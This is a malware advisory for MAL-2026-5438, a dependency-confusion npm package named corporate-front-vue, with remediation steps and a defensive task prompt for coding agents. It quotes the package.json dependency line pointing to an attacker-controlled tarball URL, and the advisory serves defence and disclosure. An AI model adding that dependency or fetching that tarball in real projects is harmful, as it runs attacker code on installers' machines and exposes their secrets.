# MAL-2026-5438: Malicious code in corporate-front-vue (npm)


- **Type:** Malicious package
- **Package:** `corporate-front-vue` (npm)
- **Published:** 9 Jun 2026
- **Also known as:** GHSA-j2pq-r63w-52j5

## What is MAL-2026-5438?

MAL-2026-5438 is a malicious package in corporate-front-vue, published on 9 Jun 2026. 

### Official description

corporate-front-vue@99.9.1 is a near-empty shim (index.js exports an empty object) whose only meaningful content is a tarball-URL dependency declared in package.json: `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.7.tgz"`. On `npm install`, npm fetches and installs that tarball directly from an arbitrary Google Cloud Storage bucket — bypassing npm registry review — and executes whatever lifecycle scripts and code it contains on the installer's machine. The package metadata reinforces the dependency-confusion shape: version 99.9.1 (a classic high-overshoot designed to outrank an internal-registry package of the same name), empty description, empty author, default ISC license. The path segment `depenconf` in the tarball URL further matches the dependency-confusion pattern. The registry-visible package exists solely as a loader for non-registry, attacker-controlled bytes.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5438?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5438 is a malicious package: corporate-front-vue (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5438/ (Markdown: https://insights.sbomify.com/MAL-2026-5438/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5438

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5438/
Summaries are generated and may contain mistakes; the official description above is the record.